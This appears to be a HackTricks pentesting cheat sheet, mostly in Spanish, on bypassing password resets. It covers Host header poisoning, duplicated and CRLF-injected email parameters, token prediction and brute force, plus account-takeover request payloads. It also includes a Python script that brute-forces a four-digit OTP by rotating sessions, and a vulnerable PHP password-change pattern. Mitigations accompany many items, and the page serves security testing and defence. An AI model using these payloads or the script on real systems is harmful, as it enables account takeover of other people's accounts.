Reset/Forgotten Password Bypass

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it’s included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
  • Impacto: Potencial toma de control de la cuenta vía Cross-Site Request Forgery (CSRF).
  • Exploitation: Para comprobar si un password reset token está leak en el referer header, solicita un password reset a tu dirección de email y haz clic en el enlace de reset proporcionado. No cambies tu contraseña inmediatamente. En su lugar, navega a un sitio web de terceros (como Facebook o Twitter) mientras interceptas las peticiones usando Burp Suite. Inspecciona las peticiones para ver si el referer header contiene el password reset token, ya que esto podría exponer información sensible a terceros.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impacto: Puede provocar la toma de la cuenta al leaking de los reset tokens a los atacantes.
  • Mitigation Steps:
  • Valida el Host header contra una whitelist de dominios permitidos.
  • Usa métodos seguros del lado servidor para generar URLs absolutas.
  • Parche: Usa $_SERVER['SERVER_NAME'] para construir las password reset URLs en lugar de $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • Añade el email del atacante como segundo parámetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Añade attacker email como segundo parámetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agrega attacker email como segundo parámetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Añadir attacker email como segundo parámetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agregar el correo electrónico del attacker como segundo parámetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Añadir el correo electrónico del atacante como segundo parámetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Añadir el email del atacante como segundo parámetro en json array
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Cambiar correo electrónico y contraseña de cualquier usuario a través de parámetros de la API

  • Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de la API para cambiar las credenciales de la cuenta.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Pasos de mitigación:
  • Asegurar validación estricta de parámetros y comprobaciones de autenticación.
  • Implementar registro y monitoreo robustos para detectar y responder a actividades sospechosas.
  • Referencia:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • La falta de rate limiting en las solicitudes de password reset puede derivar en email bombing, saturando al usuario con correos de restablecimiento.
  • Pasos de mitigación:
  • Implementar rate limiting basado en la dirección IP o la cuenta de usuario.
  • Usar desafíos CAPTCHA para prevenir el abuso automatizado.
  • Referencias:
  • HackerOne Report 280534

Averiguar cómo se genera el Password Reset Token

  • Comprender el patrón o método detrás de la generación del token puede permitir predecirlo o forzarlo por fuerza bruta. Algunas opciones:
  • Basado en timestamp
  • Basado en el UserID
  • Basado en el email del usuario
  • Basado en nombre y apellido
  • Basado en fecha de nacimiento
  • Basado en criptografía
  • Pasos de mitigación:
  • Usar métodos criptográficos fuertes para la generación de tokens.
  • Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
  • Herramientas: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.

Guessable UUID

  • Si los UUIDs (version 1) son adivinables o predecibles, los atacantes pueden forzarlos por fuerza bruta para generar reset tokens válidos. Ver:

UUID Insecurities

  • Pasos de mitigación:
  • Usar GUID versión 4 para mayor aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
  • Herramientas: Usar guidtool para analizar y generar GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulación de respuestas HTTP para eludir mensajes de error o restricciones.
  • Pasos de mitigación:
  • Implementar comprobaciones en el servidor para garantizar la integridad de las respuestas.
  • Usar canales de comunicación seguros como HTTPS para prevenir ataques man-in-the-middle.
  • Referencia:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Probar si tokens expirados aún pueden usarse para restablecer la contraseña.
  • Pasos de mitigación:
  • Implementar políticas estrictas de expiración de tokens y validar la expiración del token en el servidor.

Brute Force Password Reset Token

  • Intentar forzar por fuerza bruta el reset token usando herramientas como Burpsuite e IP-Rotator para eludir rate limits basados en IP.
  • Pasos de mitigación:
  • Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
  • Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.

Try Using Your Token

  • Probar si el reset token de un atacante puede usarse junto con el email de la víctima.
  • Pasos de mitigación:
  • Asegurar que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.

Session Invalidation in Logout/Password Reset

  • Asegurar que las sessions se invaliden cuando un usuario cierra sesión o restablece su contraseña.
  • Pasos de mitigación:
  • Implementar una gestión adecuada de sessions, asegurando que todas las sessions se invaliden al hacer logout o restablecer la contraseña.

Session Invalidation in Logout/Password Reset

  • Los reset tokens deben tener un tiempo de expiración tras el cual se invalidan.
  • Pasos de mitigación:
  • Establecer un tiempo de expiración razonable para los reset tokens y aplicarlo estrictamente en el servidor.

OTP rate limit bypass by changing your session

  • Si el sitio usa la session del usuario para rastrear intentos fallidos de OTP y el OTP es débil (<= 4 dígitos), entonces podemos forzarlo por fuerza bruta de forma efectiva.
  • explotación:
  • simplemente solicitar un nuevo session token después de ser bloqueado por el servidor.
  • Ejemplo código que explota este bug adivinando aleatoriamente el OTP (cuando cambias la session el OTP también cambia, ¡así que no podremos bruteforcearlo secuencialmente!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.

Vulnerable pattern (PHP):

// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation request (concepto):

POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigaciones:

  • Siempre exigir un reset token válido y con tiempo limitado vinculado a la cuenta y a la sesión antes de cambiar la contraseña.
  • Nunca expongas rutas skipOldPwdCheck a usuarios no autenticados; exige autenticación para cambios de contraseña regulares y verifica la contraseña antigua.
  • Invalida todas las sesiones activas y los reset tokens después de un cambio de contraseña.

Registration-as-Password-Reset (Upsert on Existing Email)

Algunas aplicaciones implementan el signup handler como un upsert. Si el email ya existe, el handler actualiza silenciosamente el registro de usuario en lugar de rechazar la petición. Cuando el registration endpoint acepta un body JSON mínimo con un email existente y una nueva contraseña, se convierte efectivamente en un pre-auth password reset sin ninguna verificación de propiedad, permitiendo un full account takeover.

Pre-auth ATO PoC (sobrescribiendo la contraseña de un usuario existente):

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks